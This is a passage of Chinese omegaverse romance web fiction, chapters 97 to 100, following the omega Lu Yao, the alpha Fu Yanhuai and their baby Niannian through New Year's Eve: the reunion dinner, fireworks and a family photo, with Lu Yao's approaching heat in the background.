傅晏淮嗓子发紧,他不太确定鹿遥这是不是自己想的那个意思,他试探地、缓慢伸出手,“你喜欢现在这样的生活吗,你,和我,年年,爸爸妈妈。” 鹿遥不敢回答这个问题,他轻轻偏过头,“年年饿了,我去带他吃东西。” 傅晏淮在原地停顿了良久,直到文筝下楼看见他奇怪道,“你在那干什么呢?” 傅晏淮在思考自己的终身幸福,他回神看向文筝,“没什么。” 再过两天就要过年了,按鹿遥的性格,他应该会很期待这个节日。 傅晏淮认为他有必要好好准备一下。 鹿遥对着年年纠结了一会这个问题,但也仅仅只是纠结了一会。人如果面临突如其来的困难可能会束手无策并感到烦脑,但如果生活一直困难,那就会习以为常了。 鹿遥现在就是习惯了,并且他为自己找到了精妙的解决方式,那就是船到桥头自然沉。 反正不管怎么样最终看起来好像都会完蛋的,那就不如从现在开始就接受全方位完蛋的事实。 于是鹿遥全身心地投入到过年前这几天的短暂假期里,几乎24h都陪着年年,年年可以随时随地和鹿遥撒娇,他终于心满意足了。 品牌店年后可以正常开始营业,傅晏淮接手了营销传播部分的工作。本来鹿遥是想要自己做的,但傅晏淮言辞恳切说鹿遥带年年很辛苦,他只是想为鹿遥做点什么。 傅晏淮一摆出这种姿态,鹿遥就会变得手足无措。虽然鹿遥心里也清楚傅晏淮大概率是装的,他实际不会有这么可怜,但鹿遥还是会退让地答应傅晏淮提出的要求。 傅晏淮在一点一点地试探鹿遥对他的容忍程度和底线,他把这个界限拿捏得很是精准,鹿遥没有察觉出不妥,虽然会有些别扭,但鹿遥最终还是会同意。 鹿遥沉浸式准备年年的人生第一次过年中,甚至都没有分出心思思考傅晏淮在干什么。屋子里上上下下都装饰得很红火,鹿遥和年年一起坐在地上分福字。 “这个贴到卧室里。” 鹿遥把福字按大小分出来,年年懵懵懂懂跟着抓起一个捏在手里。 这项工作是不需要鹿遥进行的,事实上别墅内配备的服务人员可以很轻松地完成一切雇主的需求。但是鹿遥想让年年有一点参与感,所以他要求和年年一起分福字贴纸。 年年还不能很好地控制自己的抓握力度,他低头看了一眼自己手里有点皱了的福字,又愣愣努力仰起头看鹿遥。 鹿遥伸手把年年抱进自己怀里让他坐好,然后动作很轻地把福字抽出来捋平整,“像这样拿着这个边边,是的,是这样。然后我们放到那里去好不好,小的放到小的这边,大的放到大的那边。” 年年控制不住地五官乱飞,脸跟着一起使劲,轻手轻脚捏住福字。 鹿遥握着年年的手,带着他把福字放下去,“这就是明天我们卧室要贴的啦。” 除夕上午都贴好,下午就要准备迎接新年了。 鹿遥语气中的期待和兴奋感染到了年年,年年跟着胡乱点头嗯嗯。 鹿遥搂着年年继续碎碎念,“明天有压岁钱,有礼物,还新衣服穿,这两天买的那些玩具也都可以拿出来了…年年?” 年年拿起一张大一点的贴纸邀功地在鹿遥眼前晃晃,然后拱来拱去地把它放到另一边。 鹿遥瞬间会意,“年年好棒!是非常聪明的宝宝!” 傅晏淮看着嘴角不自觉往上挑了挑,年年嘿嘿边笑边往鹿遥怀里钻,傅晏淮丝毫不见外地走过去在两人旁边坐下。 他轻轻拍了一下年年的屁股,“乖一点。” 年年在鹿遥身上上蹿下跳的,他现在也变沉了很多,傅晏淮有点担心鹿遥的小身板能不能禁得住。 年年大为不悦,他眼睛化身邪恶倒三角,很生明气地瞪着傅晏淮。 鹿遥揉揉年年哄他,同时小声埋怨,“你莫名其妙的说他干嘛啊。” 傅晏淮还没来得及说话,就听见鹿遥有点恼怒声音响起,“年年才多大,小孩子都是喜欢玩玩闹闹的,你以后不许拍年年屁股,他不喜欢。” 鹿遥不是故意和傅晏淮发脾气,年年是真的不喜欢别人碰他屁股,鹿遥发现他年纪虽然还小,但已经很有自己的脾气了。 鹿遥当然舍不得年年不高兴了,每到这时候他都会认真哄哄年年。 傅晏淮为自己发声,“他总在你身上闹。” 傅晏淮想的就很直接了,十六七斤的肉团子兴奋起来不管不顾,鹿遥又总是对他无限包容。 年年的确很喜欢和鹿遥贴着,喜欢趴在鹿遥身上听他的心跳,喜欢浑身上下都紧紧不留缝隙地黏住鹿遥。 鹿遥小声道,“他只是个小宝宝。” 现在年年也气呼呼坐在鹿遥大腿上,鹿遥顺从地垂下手让年年搂着自己的胳膊,鹿遥很无辜地看着傅晏淮,“那你要他怎么样。” 傅晏淮也不能怎么办,他叹了口气,“他一直折腾你的话,你会很累。” 鹿遥低下头拍拍年年哄他,然后小声嘟囔,“没事的,我有分寸。” 傅晏淮垂下眼,地上和年年一起分的福字看起来有些凌乱,旁边还散落了一些玩具,他随手拿起一张福字看了看。 “对了。” 鹿遥侧身坐着,没有面对傅晏淮,是一幅专心致志看着年年的样子。 “你最近很忙,是公司那边还有事情没做完吗?” 傅晏淮指尖凝滞,他抬眼去看鹿遥,只看到鹿遥垂下眼的侧脸。 但傅晏淮心口就是莫名热了起来,滚烫的、久久不能平息的情绪再次翻腾,让他忍不住想要紧紧抓住鹿遥,触碰所有他可以碰到的,鹿遥温暖的身体。 鹿遥问完有点局促,傅晏淮这两天的确也还在处理公事,鹿遥不想让自己的关心太明显,而且他也不该对傅晏淮关心什么。 他没有听到傅晏淮的回答,于是犹犹豫豫地往傅晏淮的方向看,触碰到傅晏淮视线的一瞬间,后颈的腺体骤然紧缩,随后灼热地突突跳动起来。 鹿遥很懵,但他下意识嗖地一下站起来,匆匆丢下一句“年年好像饿了”就飞速逃往楼上。 傅晏淮闻着刚刚飘逸出的一点点焦糖味道,忍耐地缓缓呼出口气。 把人吓到了。 第98章 第 98 章 年夜饭 除夕这天, 鹿遥反常地比平常还起晚了。 他顶着乱翘的头发坐在床上思考人生。 昨晚腺体的忽然活跃让鹿遥很紧张,他大半夜开窗户徒劳地吹了一会风,然后又十分抓狂地关上。 能让腺体迅速进入平静状态的药物原本就不多, 抑制剂算是最温和的一个,鹿遥哪个都不能用。好在睡了一觉之后一切正常, 不然如果赶在过年期间发情,那鹿遥会无法面对接下来的一整年。 昨天鹿遥翻来覆去睡不着, 还溜去隔壁把熟睡的年年偷了过来, 现在年年还没醒。他趴在鹿遥身旁, 脸红扑扑睡得正香。 鹿遥凌乱望了一会天花板, 在起床和叫醒年年一起起床之间犹豫了一下, 还是决定自己先起来。 鹿遥洗漱过后人精神了一点, 他对着镜子盯了一会自己,然后侧过头去尝试贴上腺体贴。鹿遥小心翼翼屏住呼吸,但凉凉的腺体贴触碰的皮肤的一瞬间, 鹿遥还是忍不住抖了一下。 腺体细密地爬上酥麻感, 鹿遥撑着洗手台苦笑。 鹿遥终于对“即将来临的发情期”有了实感, 腺体贴紧密贴着腺体不留一丝缝隙,这样微小到几乎可以忽略不计的感觉,现在都能让鹿遥的身体产生颤栗。 鹿遥有点郁闷地整理衣领把腺体贴盖住, 他原本还想继续调整一会心情, 但门外似有若无的哼哼声让鹿遥迅速推门出去。 年年正撅着屁股往床边爬——他果然已经醒了。 鹿遥吓了一大跳,他赶忙过去把年年抱起来,“你醒了?不可以往床边去哦,会掉下去的。” 年年一觉醒来鹿遥人不见了,现在回来焦糖信息素的味道也基本上都被隔绝,年年哼哼唧唧地在鹿遥脖子那里拱来拱去。 鹿遥每次离开都会很认真和年年说, 他觉得年年是能听懂的,今天年年醒来没看到人,有点害怕了。 鹿遥哄年年的声音很温柔,他抱着年年转着晃悠,“年年醒了,我们擦擦脸换衣服好不好?” 等到年年稳定了一点,鹿遥才叫育婴师来帮忙。 今天是新年,鹿遥不仅给年年擦香香,还换了一身新衣服。到这里的时候年年就已经很高兴了,鹿遥的情绪可以感染到他,年年啊啊地和鹿遥说话。 “穿新衣服真好看,年年喜不喜欢?” 新年穿红色,年年的小脸衬得红扑扑的,圆圆的像个汤圆。 鹿遥越看越觉得可爱,凑上去亲了两口,年年嘿嘿地皱鼻子笑。 鹿遥抱着胖嘟嘟香喷喷新鲜出炉的宝宝心满意足地下楼了,今天起得有点晚,早饭大家都已经吃过了,女佣把鹿遥和年年的饭单独拿上来。 今天年年穿新衣服,喜提鹿遥喂饭大礼包,每喂一口鹿遥都会细致地帮年年擦嘴,服务很周到,年年很喜欢。 老宅里到处都是忙忙碌碌的,傅晏淮成了唯一两手空空的人,于是他再一次很不见外地凑到鹿遥旁边,“需要我帮忙吗?” “不用了。” 鹿遥看也没看他就拒绝,“这样吃得快一点。” 不知道是不是发情期快到了的原因,傅晏淮凑近时鹿遥能闻到那股熟悉的木质冷调香,鹿遥感觉自己的耳垂发烫,于是他别扭地只专注盯着年年。 偏偏傅晏淮今天好像还特别没有眼色,他又凑近了一点,鹿遥能感觉到白冷杉的气息像缓慢伸出的触手,一点点地试探着缠绕他。 “你的耳朵红了,不舒服吗?” 鹿遥倏然从原地站起身后退一大步,椅子腿擦在地板上发出不太美妙的噪音。 傅晏淮没有想到鹿遥反应这么大,他愣了一下。年年仰头眼睛瞪得圆溜溜的,嘴角还沾着蛋黄,显得很无辜。 鹿遥深吸口气,“我没有不舒服,你忽然凑上来吓到我了。” “这样啊。”傅晏淮敛眸不再动,很老实地坐在旁边,“是我的错。” 从这一角度看过去,鹿遥诡异地感觉到年年和傅晏淮的相像,这对父子都规规矩矩坐在那里等待鹿遥的下一步指令,鹿遥在那一瞬间恍惚感觉自己是邪恶的奴隶主。 鹿遥很别扭,刚刚闻到了一点傅晏淮的信息素,现在后颈的腺体又在隐隐变热,他闷不吭声默默挪凳子,离傅晏淮坐得远了点。 傅晏淮心里想什么不知道,他开口说话的语气倒是很正常。 “晚上出去逛逛吗?我买了烟花。” 鹿遥感觉有点奇怪,“在院子里放就行,都一样的。” 傅晏淮态度没有很坚决,他的语气很平淡,“除夕夜晚上烟花秀,可以带年年去看看。” 鹿遥动作微滞,他垂眼看向年年天真的小脸蛋,心里的天平倾斜了。 鹿遥把年年抱出餐椅,正犹豫要把年年放到哪里,傅晏淮就直接伸手接了过去。 年年大脑宕机仰头惊愕和傅晏淮对视,傅晏淮把年年抱到自己腿上坐好,眉眼温和看着鹿遥,“应该会很漂亮,你想去吗?” 傅晏淮的眼神很认真,鹿遥多看一眼都好像会被烫到,他对上傅晏淮的目光后又匆匆移开,“嗯,那就晚上吃完饭看看。” 鹿遥想说的是看情况,但傅晏淮好像就笃定鹿遥答应了似的,“那就晚饭后一起去。” 鹿遥想转身就走,但年年还在傅晏淮怀里抱着,于是他就僵硬地不知道该转身还是留下。 文筝刚好拿着一沓福字下楼,看见姿势古怪的三个人诧异地停住脚,“都在那围在那干什么呢?” 文筝奇怪道,“来,既然都闲着,就过来帮帮忙。” 年年看见文筝眼睛一亮,他也很喜欢文筝,而且文筝手里拿的红红的纸他认得,昨天鹿遥刚刚陪他玩过。 于是年年就扑腾扑腾往文筝的方向伸手,鹿遥弯腰把他抱起来。就在鹿遥俯身接近傅晏淮侧脸的时候,他小幅度偏了下头,鹿遥能感觉到那股木调香味扑在自己耳边。 “还好这次过年,你还在这里。” 这是什么意思?鹿遥僵硬走到文筝旁边的时候还在神思不属。文筝大约是看出了什么,她揉揉年年的脑袋,然后又公平地揉揉鹿遥的,“别管他,咱们上楼。” 接下来的时间鹿遥短暂忘记了有关于傅晏淮的烦恼,因为准备过年,家里的氛围开始显而易见地变得和平常不一样,年年兴奋地拽着鹿遥到处撒欢,鹿遥很是手忙脚乱了一阵子。不过鹿遥也想要年年的第一个新年能有趣,所以一整天都在很耐心地带着他。 直到晚饭时间,年年才终于肯老老实实待在一个地方不动——今天的菜的样子格外花哨,年年扒着沙发椅背一动不动地站着,努力抬起头,只露出两只眼睛在外面好奇地看。 鹿遥看年年这样子心里软软的,于是他忍不住露出笑容。或许是这一幕看起来很幸福,傅晏淮在后面光明正大拍了他们两个。 鹿遥察觉到动静转过头,傅晏淮施施然收起手机,鹿遥大脑旋转几秒才意识到傅晏淮做了什么,“你在拍年年吗?” 那有没有把他拍进去? “嗯。”傅晏淮大方点头,还把手机递给鹿遥看,“你们两个。” 傅晏淮的抓拍技术竟然还挺好的,鹿遥承认自己看着年年的眼神很值得记录,年年也被拍得肉肉的很可爱。 但这样的行为还是让鹿遥无所适从起来,他很少出现在镜头里。傅晏淮看着鹿遥白皙柔软的耳垂慢腾腾变红,然后最终憋出一句,“你以后不许拍我,这张可以发给我吗?” 傅晏淮嘴角一定是在上挑,他的语气听起来很愉悦,“好啊。” 他克制地没有走近,把照片发给鹿遥后才开口,“我去叫爸妈来,年夜饭之前可以拍一张合照。” 年年已经转回头,他抓着鹿遥手指想让鹿遥帮帮他下去。这一点犹豫就错过了最佳回避机会,等到鹿遥把年年抱着坐下来再抬头,傅晏淮已经去叫人了。 鹿遥只好勒令自己别想那么多,他戳戳年年脸上的肉,年年的眼神追逐过去,伸手软乎乎握住鹿遥的手指。 文筝今天的套装裙子应该是新定做的,鸽子蛋耳饰衬得她气色很好。傅晏淮还没走近就听到文筝被傅际中逗笑的声音,他停住脚,看着这对已经相伴了几十年的恩爱夫妻。 s级alpha的存在感实在太强,傅晏淮还没看几秒钟文筝就发现了他,文筝不解地上下打量他一眼,“愣在那儿干什么呢?” 傅晏淮刚刚面上一闪而过的情绪已经消失不见,他对两人发出邀请,“我想,我们需要一张全家福。” 文筝下意识扭头看了一眼坐在沙发上的鹿遥和年年,她瞬间懂了。 文筝走过去的时候年年正在鹿遥身上乱爬,鹿遥的头发都被他抓得翘起来一撮。她有点无奈地在鹿遥旁边坐下,文筝看着年年圆溜溜的侧脸忍不住想笑,“也就只有你爸爸才这么宠着你了。” 鹿遥乖乖叫了声妈妈,但心里偷偷不认同文筝的话,这个家里的每一个人对年年都有点纵容。 年年听到文筝的声音回头看她,然后一屁股就在鹿遥大腿上坐下了,但还是没有松开攥着鹿遥手指的手。 鹿遥顺势把年年往后搂了搂,让他贴近自己的肚子靠着坐,年年显然对这个姿势很满意,开始晃悠自己的脚表示高兴。 文筝凑过来捏捏年年的小腿肉,“这么开心呀,和爸爸一起玩是不是就开心了?” 说着文筝又转头随意和鹿遥说笑,“你不在家的时候,年年没有这么好带。” 找不到鹿遥年年就会自己在一边生闷气,时间长看不到就要哭闹了。 年年的确是有点没有安全感,鹿遥苦恼道,“可能是他还小的原因…” 年年仰头,大眼睛一眨不眨地盯着鹿遥看,鹿遥心软得一塌糊涂,“这也没什么的。” 鹿遥捧住年年的脸,年年很乖地依偎在鹿遥的手心里,文筝真心实意地感慨道,“年年真是我见过最可爱的孩子了。” 鹿遥小鸡啄米一样点头,“是的,就是…” 就是后面的话没能成功说出来,因为腺体的饱胀感打断了鹿遥的思路,然后他才闻到朝他飘过来的白冷杉香气。 鹿遥后知后觉偏过头,傅晏淮已经在他旁边坐好了。 傅晏淮垂眼看着鹿遥,“就是什么?” 后颈的腺体忽然开始躁动不安,鹿遥咬了下嘴唇躲开傅晏淮的视线,他们两个现在的距离有些过于近了。 鹿遥含糊不清地回了一句,“没什么。” 傅晏淮若有所思看着鹿遥往相反方向挪动,是他的错觉吗,空气闻起来是甜的。 鹿遥感觉自己的腺体在傅晏淮的注视下变得越来越烫,就在他终于忍无可忍想要扭头怒视傅晏淮的时候,文筝出声解救了他。 “过来得这么慢,就等你一个。” 文筝对傅际中的嗔怪传到两人耳朵里,傅晏淮终于舍得把视线挪开了点。傅际中来了就先蹲下逗年年,鹿遥偷偷松了口气,往边上不动声色又挪了点。 傅晏淮很大方地给了鹿遥这一点点私人空间,傅际中张开手问年年,“要不要到爷爷这里坐?嗯?爷爷抱你坐行不行?” 答案当然是不行,年年抓鹿遥抓得很紧,傅际中也知道年年最亲鹿遥,宠爱笑了笑就坐到一边去了。 文筝的声音很温柔,“都坐好了?拍完我们就吃饭。” 鹿遥不太擅长面对镜头,听到声音他下意识坐得直了点,年年懵懵地跟着抬眼睛—— 傅晏淮动作很轻地把手揽在了鹿遥的腰间,鹿遥后知后觉又不可置信地转头,但照片已经拍完了。 第一时间鹿遥都忘了去检查照片,他压低声音质问傅晏淮,“你刚刚干什么?” 于是傅晏淮就也凑近他压低声音,“想抱住你。” 鹿遥条件反射地抱着年年蹭一下站起来,慌乱中他看到傅晏淮很有兴味地挑了下眉。 文筝听到动静回头扫了两人一眼,不过她很快又将目光收了回去。 “快来吃饭,年年是不是也饿了?” 鹿遥也不知道自己为什么忽然变得很心虚,他闷不吭声绕到另一边走了。 傅晏淮的眼神一直不轻不重落在鹿遥身上,直到收到文筝警告的眼刀才终于收敛起来。 这顿年夜饭吃得可以说是温馨又融洽,傅晏淮体贴起人来的确是温柔又耐心,鹿遥想吃的东西甚至都不用他自己动手,眼神刚刚飘过去傅晏淮就会先一步夹到他碗里。 鹿遥震撼,鹿遥不解,鹿遥忍耐。 但傅晏淮的体贴已经到了无孔不入的地步了,鹿遥很窝囊地小声提醒他,“你别…我自己能够到。” 傅晏淮垂眼,鹿遥的头发软乎乎地趴着,他生怕动作幅度太大吸引注意力,所以只直勾勾盯着自己面前的盘子。 鹿遥说完,傅晏淮却没有动静,他犹豫地转头想看看傅晏淮有没有听到,结果直接对上了傅晏淮的眼睛。 那一瞬间鹿遥体会到了腺体有电流经过的感觉,他猛地低下头持续扒饭,试图对抗身体无端涌起的热意。 鹿遥已经数不清楚这到底是今天的第几次异常反应了,他脸上的焦虑和心不在焉太过明显,傅晏淮低声问了句,“怎么了,不舒服吗?” 傅晏淮问完这句之后鹿遥的脸色更不好了,他发现尽管傅晏淮贴着腺体贴,但他依然能闻到白冷杉信息素的味道。 这就不能责怪傅晏淮了——毕竟他已经做好了自己该做的,甚至表面来看他都并没有太多逾矩的动作,哪怕伸手揽了鹿遥的腰也是蜻蜓点水,刚刚触碰到了就分开。 鹿遥只好暗含警告地瞪了傅晏淮一眼,“没有,你退开点,对。好好吃饭,不用管我。” 傅晏淮不知道是真的还是假的困惑,他歪了下头,声音很轻,“为什么?” 鹿遥已经能感觉到文筝在往这边看了,他一个字一个字挤出来,“不、为、什、么。” 傅晏淮这次终于听话地闭嘴,等他真的离远了鹿遥才敢偷偷呼气。白冷杉的气味让他的腺体开始躁动,鹿遥吃着饭忍不住心不在焉起来。 文筝状似无意开口,“一会出去别玩得太晚,还要回来吃饺子呢。” 鹿遥抓住这个话题赶忙接话,甚至借机挪得离傅晏淮远了点。腺体的躁动比起刚刚平息了些许,但鹿遥还是有种坐立难安的烦躁感。 或许是因为临近发情期,鹿遥的胃口比平常相比也小了很多,他很快就觉得饱了。于是鹿遥就开始专心致志地陪年年吃他的辅食,陪文筝和傅际中聊天。 傅晏淮在一旁沉默听着,他耐心等了一会儿,然后忽然伸手拿了个橘子剥开,在鹿遥交谈的空隙分出一瓣喂到他的唇边。 鹿遥真的就只是偏了一点点头,冰冰凉凉的橘子就贴到了他的嘴唇上,鹿遥在惊愕中下意识微微张开嘴,橘子瓣就被傅晏淮挤进他口中。有汁水不小心蹭到了唇瓣,傅晏淮用指腹缓慢、但用力地把它抹去。 鹿遥的脸一瞬间就红透了,傅晏淮眼神中的侵占欲太过强烈,鹿遥无所适从地感受身体瞬间升腾而起的温度。 傅晏淮嘴角的弧度不算明显,“抱歉。” 鹿遥不明白傅晏淮为什么变得一副心情很好的样子,文筝的声音暗含警告,“你闲着没事就去带年年换衣服。” 年年费劲地从鹿遥身后探出头,他很不高兴地盯着傅晏淮,他感觉到是傅晏淮让鹿遥不舒服,傅晏淮真的很烦人! 鹿遥匆匆站起来,“不用,没事。我带他去换就好。” 鹿遥已经无心理会傅晏淮到底想干什么,他现在的身体状况已经足够他焦头烂额。 文筝硬等着鹿遥抱年年消失在二楼才冷下脸,“你要是一直这样就回去自己住,我看你也好利索了。” 傅晏淮这次并没有诚恳致歉,他像是蛰伏已久的野兽终于不再甘于隐藏自己的爪牙,猎物在眼前的味道实在太甜美。alpha伪装出来的耐心和有礼,随着omega的逐渐绽放而开始消退。 “鹿遥的发情期就快到了。”傅晏淮没有回避地看向文筝,“他需要我。” 他又停顿片刻才开口,“我也一样。” 第99章 第 99 章 烟花 鹿遥磨磨蹭蹭抱着年年出来的时候, 傅晏淮已经坐在车里等着了。 鹿遥默默把拉链拉到最高挡住自己的口鼻,他闷不吭声把年年放到自己对面的安全座椅里坐好,然后就坐在角落假装自己只是个蘑菇。 傅晏淮仿佛没感觉到鹿遥的抗拒一样, 他若无其事地开口,“这次的烟花规模还可以, 在A桥边上那里看景色最好。” 鹿遥闷闷嗯了一声,年年在对面睁着乌溜溜的大眼睛看着鹿遥。 鹿遥有点郁闷, 要不是这是年年人生第一次过年, 他是一定不会在这么敏感的时期和傅晏淮一起出去的。 傅晏淮目光带上了些关切, “不喜欢吗?不喜欢的话, 我们就不去了。” 鹿遥叹了口气, “没有。” 车子照常启动, 傅晏淮转头看了一眼年年,“小孩子应该也会喜欢的。” 夜空中明亮、耀眼的烟火,热闹的人群, 身边的爱人。 傅晏淮觉得, 鹿遥会喜欢这样的景象。 “明天…” 鹿遥不由皱了皱眉, “又怎么了。” 今天傅晏淮的话真是格外的多,鹿遥警惕抬眼。 傅晏淮没有丝毫介意,他继续接上刚刚被鹿遥打断的话, “明天家里会来一些客人。” 鹿遥愣住, 傅晏淮的声音称得上温柔,“不用紧张,你可以跟在妈妈身边,或者我也可以。” 鹿遥心里有点别扭,“我不是小孩子,不用这么照顾我。” 傅晏淮垂下眼, 露出个浅笑,“好。你不是小孩子,只是我太想照顾你了。” 鹿遥别开头看向窗外,没有接傅晏淮的话。 他其实也不是想要一个人照顾自己,鹿遥想着。 他只是想要一个家,他没有家,人总是会对没有的东西产生向往。 “到了。” 鹿遥闻声回头,傅晏淮正探身去把年年的帽子戴好。 傅晏淮的发丝近在鹿遥眼前,这让他有点恍惚。 鹿遥久久都没有声音,傅晏淮似有所感地直起身。 鹿遥掩饰地清清嗓子,他把年年抱起来道,“走吧。” 傅晏淮就这样慢悠悠跟在鹿遥后面,年年趴在鹿遥肩膀上,眼睛在帽檐下面盯着傅晏淮看。 傅晏淮提前定好了江畔露台,鹿遥对这种一定要到最高层俯瞰所有看对岸烟花的行为表示不太理解,但是他没有表示任何异议,毕竟有钱人的癖好可能就是这样的。 年年现在只会站着,但还不会走路。而且他今天也扑腾够了,也懒得自己站着。他就这样耍赖紧紧抱着鹿遥的脖子,不想坐在房间的椅子上。 傅晏淮低声开口,“我来抱吧。” 年年现在也的确有点沉,而且看起来他只是想让人抱着而已,鹿遥犹豫了一下,就把年年交到了傅晏淮手上。 “小心。” 年年到了傅晏淮手上之后就开始乱扭,鹿遥赶忙上前拍拍他的后背。 傅晏淮皱了下眉,“乖一点,你爸爸一直抱着你也会累的。” 不知道是鹿遥的安抚起了效,还是他真的能听懂傅晏淮的话,年年真的安静了下来,不过手还是紧紧抓着鹿遥肩膀那里的衣服。 鹿遥就忍不住小声嘟哝了一句,“你对年年太严格了。” 傅晏淮只是道,“他只是现在还小,可他迟早会长大。” 傅晏淮认为鹿遥不会想要看到年年变成不听话的坏孩子,这一定会让他难过的。但同时傅晏淮也明白鹿遥舍不得让年年不高兴,他会学习着在这其中平衡好的。 鹿遥摸了摸年年的脸。是的,小孩子总是长大得很快,一转眼年年就快要一岁了。 鹿遥感觉自己被轻轻揽了一下腰,他无意识地抬头,看到傅晏淮低垂注视自己的双眼。 “别担心,有我在。” 鹿遥很想嘴硬回一句他才没有在担心任何事,但傅晏淮这样子实在很让人安心。月光隐隐约约落在傅晏淮的眉骨上,在眼窝处投下一小片阴影。 鹿遥就很没出息的又开始脸热,傅晏淮低低笑出来,鹿遥抬头怒瞪他,“你笑什么!” “只是觉得你这个样子很漂亮。”傅晏淮走上前一步,把和鹿遥之间最后的缝隙也占满。他的神情很专注,专注到几乎让鹿遥以为,在这个世界上,傅晏淮眼里只能看得见他一个人。 傅晏淮就这样低声开口,“我很喜欢。” 窗外的焰火在此时应景地绽开,光亮映照在鹿遥眼底,让傅晏淮清晰看到了自己的倒影。 “唔?” 年年被窗外的动静吸引,好奇地探头探脑去看。鹿遥低下头缓和了一下情绪,然后就也沉默看向对岸。 这场新年烟花的确如傅晏淮所说的一般盛大,焰火从对岸开始,一点一点把正片天空都占满。 “好漂亮。”鹿遥站在露台上,空气混杂着A市特有的寒冷的味道。他情不自禁道,“以前这里过年,从来没有过这么多烟花呢。” 傅晏淮对这些没有什么特别喜欢或者不喜欢的情绪,他看着鹿遥和年年都全神贯注的侧脸,“以后也会有的。” 鹿遥没反应过来,“什么?” 傅晏淮却没再继续这个话题,“管家买了烟花棒,可以和年年在院子里点着放一放。” 鹿遥的注意力很轻易地就被转移到了和年年有关的事情上,他眼睛亮起来,“好啊!年年一定会喜欢的。” 小孩子看到亮亮的漂亮的东西就是会不自觉地看过去,鹿遥小的时候也很喜欢这些东西,但像烟花棒这样需要和家人一起点燃才有意思的东西,是轮不到鹿遥去玩的。 鹿遥开心,那傅晏淮的目的就达到了。这场全市都能见到的烟花能通过审批办下来确实有点麻烦,不过既然鹿遥喜欢,那傅晏淮决定以后每年都来一次,直到鹿遥不再想看为止。 三个人就这样都很满足地回家,桌上已经摆好了要包进饺子的小金元宝。虽然鹿遥已经经历过一次,但是看到桌子上的一盘金子还是感到了不小的震撼。 文筝看到他们回来很高兴,“快来,就等你们了。” 傅际中乐呵呵把年年抱到自己旁边坐着,“给年年一块面,给他玩。” 鹿遥无奈道,“那少给一点,不要浪费面了。” 傅际中把手一挥,“不用,他玩过的也放进锅里,我吃。” 文筝嗔怪开口,“你还说我惯孩子呢,我看你更是惯得不像样。” 屋内的热气飘到落地窗上,蒙上一层雾气,每一个人都在笑,鹿遥恍然有了自己好像也在幸福的感觉。 鹿遥捏了几个小小的饺子,煮过之后意思意思放到了年年的宝宝辅食碗里。当然这些年年吃不了,但还是握着他的小手把饺子都拨弄开,每一个的里面都放了金元宝。 年年感觉这个寻宝游戏挺有意思,不过没多久他就很困了,坐在椅子里头一点一点地打哈欠。 鹿遥把他抱上楼哄睡,傅晏淮自然地接过那盘烂七八糟的饺子吃掉。 文筝冷哼一声,“怎么,这是把人给哄好了?” 傅晏淮的动作微微停顿,“嗯。” 他吃掉最后一点饺子,向后靠在椅背上,随手把额前的头发拨到后面,“他很好哄。” 眼看着文筝火气又要上来,傅晏淮补上后半句,“我知道我该怎么做,您放心。” 鹿遥哼着歌把年年拍到睡着,房间里很黑,也很安静。年年在鹿遥怀里安睡,抓着鹿遥手指的肉肉小手慢慢松开。 鹿遥满心怜爱地凑近亲了亲年年,“新年快乐,要好好长大。” 鹿遥轻手轻脚关上门走出去,傅晏淮“刚好”就在门外站着。 “妈妈看你上去了太久,让我来叫你。” 鹿遥没有怀疑这话的真实性,可能是临近发情期有激素作祟,他现在看傅晏淮还算顺眼。 “这就下去了。”鹿遥的头发乖顺地趴着,傅晏淮忽然想起他头发散乱在床上的时候。 现在的鹿遥只要故意低下头,傅晏淮就看不清他的神情。不像那种时候,无论如何也遮不住他发红的双眼。 “不知道明天客人都要几点来呢。”鹿遥边下楼边这样和傅晏淮担忧,“要提前一点起床才行。” 这种感觉很奇妙,鹿遥从来没有和傅晏淮说过这样的话,不管是生活里的快乐还是担忧,鹿遥都没有和傅晏淮分享过。以前他是不敢,后来是不愿。 现在傅晏淮有此殊荣,能从鹿遥口中听到他的想法,他当即稳稳接住了鹿遥的情绪,“大家都要下午才到,可能会在家里吃个晚饭。” 傅晏淮贴心道,“明天我让管家把衣服送到你的房间里,可以吗?” 管家送衣服过去差不多就该是换衣服下楼的时间,这样的提醒方式很合适。 “而且,就算晚了也不会怎么样。”傅晏淮很想揉一把鹿遥的头发,“这是你自己的家,不会有人指责主人家的不是。” 而且也不会有人敢指责。 鹿遥眉眼间看着轻松了一些,文筝和傅际中还在沙发上守夜,鹿遥过去丝滑加入他们,三个人一起数金子。 鹿遥探头凑到文筝那边的时候,露出了衣领下贴得严严实实的腺体贴,傅晏淮缓慢吐出口气。 再等等吧,不会太久了。 鹿遥的腺体就这样没由来地忽然一紧,他正在戳金花生的的手指凝滞在半空。 文筝奇怪抬头,“怎么了小鹿,是困了吗?困了就早点去睡吧。” 鹿遥抬手按了下后颈,随后笑着摇摇头,“没有。” 文筝挑了下眉,视线后移看到后面在楼梯口站着的傅晏淮。 文筝女士感到十分可疑,她皱眉不悦发问,“你站那干什么呢。” 傅晏淮压□□内翻腾滚动的欲望,换上人畜无害的温和表情,“就来了。” 第100章 第 100 章 聚会 鹿遥没能守夜到天亮, 他在一楼坐了没多久就困了,而且第二天也不是没有事要做,鹿遥没有勉强自己, 时间差不多就上楼回了房间。 年年睡得也不算早,但是他早上迷迷糊糊醒来过一次, 看他好像有点闹情绪,于是年年就心安理得被塞进了鹿遥的被窝。 鹿遥搂着年年又睡了个回笼觉, 快到中午两个人才彻底醒了, 鹿遥不紧不慢带着年年下楼吃了早午饭。 一楼到处都在忙碌, 看起来是要把客厅布置出来, 管家凑到鹿遥面前低声询问今天要给年年穿什么搭配。 鹿遥觉得其实都行, 不知道是不是因为有亲生的滤镜, 年年不管穿什么鹿遥都觉得很可爱。 他和管家互相交换了一点意见,随后管家就退开道,“好的, 您的衣服稍后会送到换衣间。” 鹿遥点点头, 他伸手摸了一下年年的头, 年年仰起头唔了一声。 然后傅晏淮就毫不犹豫闯入了这温馨的一幕。 傅晏淮坐在了两人旁边,鹿遥莫名看向他,傅晏淮随意开口道, “今天感觉怎么样?” 鹿遥懵住, “没怎么样啊…?” 这似乎有点出乎傅晏淮的意料,他挑了下眉,“这样。” 这算是什么一早醒来的开场白,鹿遥纳闷地转过身背对傅晏淮,抽了张纸帮年年擦嘴。 “别多想。”傅晏淮的声音从身后传来,“我只是看你昨天好像有点不舒服。” 鹿遥后知后觉地才意识到傅晏淮在说他的腺体, 意识到这件事之后,鹿遥就感觉到有一道视线一直在盯着自己的后颈看,他瞬间别扭了起来。 鹿遥就算真的不舒服也不可能在傅晏淮面前说,他下意识往前挪了挪,“咳,没有。” 他含糊道,“你记错了。” 傅晏淮的眼神变得意味深长起来,“啊,这样吗。” 